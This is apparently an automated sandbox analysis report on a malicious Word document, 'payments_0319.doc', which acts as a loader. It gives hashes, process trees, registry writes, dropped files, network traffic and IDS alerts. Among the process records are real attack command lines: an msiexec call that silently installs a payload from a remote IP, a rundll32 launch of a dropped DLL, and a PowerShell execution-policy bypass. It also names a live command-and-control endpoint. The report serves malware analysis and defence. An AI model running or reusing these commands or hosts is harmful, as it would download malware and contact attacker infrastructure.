| File name: | payments_0319.doc |
| Full analysis: | https://app.any.run/tasks/e292abaa-bde8-48d9-b6d7-a69962181ca5 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 21, 2019, 16:02:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Thu Mar 21 08:24:00 2019, Last Saved Time/Date: Thu Mar 21 08:24:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 9, Security: 0 |
| MD5: | 987FE3124FC850B96D2B8D04259F2D3E |
| SHA1: | 5E4B96F7D469E82892267E2B96427B47233EE3D3 |
| SHA256: | 8A285EFB01FCD9A3AB41B33C828E42C53BC179ED7895F640E8B5037C4A2A6E97 |
| SSDEEP: | 1536:P/fY8qaiKOCDP9czDKaT+ej7Nhbi9AFlaim4oreBqitzIzK/kH:AHaiKOi9LInKc2x0qIzIzK/kH |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 688)
Uses Microsoft Installer as loader
- WINWORD.EXE (PID: 688)
Application was dropped or rewritten from another process
- nsA7E2.tmp (PID: 2216)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2940)
Downloads executable files from IP
- msiexec.exe (PID: 3424)
Downloads executable files from the Internet
- msiexec.exe (PID: 3424)
Executes PowerShell scripts
- cmd.exe (PID: 2804)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 3424)
- MSIA6E8.tmp (PID: 3156)
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 1272)
Starts application with an unusual extension
- MSIA6E8.tmp (PID: 3156)
Drop ExeToMSI Application
- msiexec.exe (PID: 3424)
Starts CMD.EXE for commands execution
- nsA7E2.tmp (PID: 2216)
- rundll32.exe (PID: 2940)
Creates files in the user directory
- powershell.exe (PID: 3316)
Uses WHOAMI.EXE to obtaining logged on user information
- cmd.exe (PID: 572)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 688)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 688)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3424)
Starts application with an unusual extension
- msiexec.exe (PID: 3424)
Application was dropped or rewritten from another process
- MSIA6E8.tmp (PID: 3156)
Loads dropped or rewritten executable
- MSIA6E8.tmp (PID: 3156)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | 1 |
| Keywords: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | 1 |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 1.0 minutes |
| CreateDate: | 2019:03:21 08:24:00 |
| ModifyDate: | 2019:03:21 08:24:00 |
| Pages: | 1 |
| Words: | 1 |
| Characters: | 9 |
| Security: | None |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 9 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Windows Cyrillic |
| Created: | 2018:12:18 00:00:00 |
| LastSaved: | 2018:12:18 00:00:00 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | ???????? Microsoft Word 97-2003 |
Total processes
43
Monitored processes
11
Malicious processes
7
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 572 | cmd.exe /C whoami | C:\Windows\system32\cmd.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 688 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\payments_0319.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 1272 | "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Windows\system32\cmd.exe | — | nsA7E2.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1964 | "C:\Windows\System32\msiexec.exe" at=c36Ik back=002 error=Continue /i http://169.239.128.104/alg /q OnExit="c:\windows\calc.exe" FW=c36Ik | C:\Windows\System32\msiexec.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2216 | "C:\Users\admin\AppData\Local\Temp\nsdA7E1.tmp\nsA7E2.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Users\admin\AppData\Local\Temp\nsdA7E1.tmp\nsA7E2.tmp | — | MSIA6E8.tmp | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2804 | cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1 | C:\Windows\system32\cmd.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2852 | whoami | C:\Windows\system32\whoami.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: whoami - displays logged on user information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2940 | rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, sega | C:\Windows\system32\rundll32.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3156 | "C:\Windows\Installer\MSIA6E8.tmp" | C:\Windows\Installer\MSIA6E8.tmp | msiexec.exe | ||||||||||||
User: admin Company: hepsu burda Integrity Level: MEDIUM Description: hepsu burda Application Exit code: 0 Version: 1.0.2.1 Modules
| |||||||||||||||
| 3316 | powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 775
Read events
1 031
Write events
735
Delete events
9
Modification events
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | bz2 |
Value: 627A3200B0020000010000000000000000000000 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1316290590 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1316290704 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1316290705 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: B00200005C331177FFDFD40100000000 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | i|2 |
Value: 697C3200B002000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | i|2 |
Value: 697C3200B002000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (688) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
6
Suspicious files
4
Text files
10
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8AC2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF5BFD5176C4F56D70.TMP | — | |
MD5:— | SHA256:— | |||
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF0E6225A5A244E463.TMP | — | |
MD5:— | SHA256:— | |||
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF0220CF6BB191F68A.TMP | — | |
MD5:— | SHA256:— | |||
| 3424 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFAD7859C36E39F190.TMP | — | |
MD5:— | SHA256:— | |||
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 688 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$yments_0319.doc | pgc | |
MD5:— | SHA256:— | |||
| 3424 | msiexec.exe | C:\Windows\Installer\MSIA61B.tmp | binary | |
MD5:— | SHA256:— | |||
| 3316 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\74NXQT9VNUWFFR2XN79M.temp | — | |
MD5:— | SHA256:— | |||
| 3424 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3424 | msiexec.exe | GET | 200 | 169.239.128.104:80 | http://169.239.128.104/alg | ZA | executable | 396 Kb | suspicious |
2940 | rundll32.exe | POST | 200 | 179.43.156.37:80 | http://cdnavupdate.icu/jquery/jquery.php | CH | text | 12 b | malicious |
2940 | rundll32.exe | POST | 200 | 179.43.156.37:80 | http://cdnavupdate.icu/jquery/jquery.php | CH | text | 12 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3424 | msiexec.exe | 169.239.128.104:80 | — | Zappie Host LLC | ZA | suspicious |
2940 | rundll32.exe | 179.43.156.37:80 | cdnavupdate.icu | Private Layer INC | CH | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cdnavupdate.icu |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3424 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
3424 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
1072 | svchost.exe | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .icu Domain |
2940 | rundll32.exe | Potentially Bad Traffic | ET INFO HTTP POST Request to Suspicious *.icu domain |
2940 | rundll32.exe | Potentially Bad Traffic | ET INFO HTTP POST Request to Suspicious *.icu domain |
1 ETPRO signatures available at the full report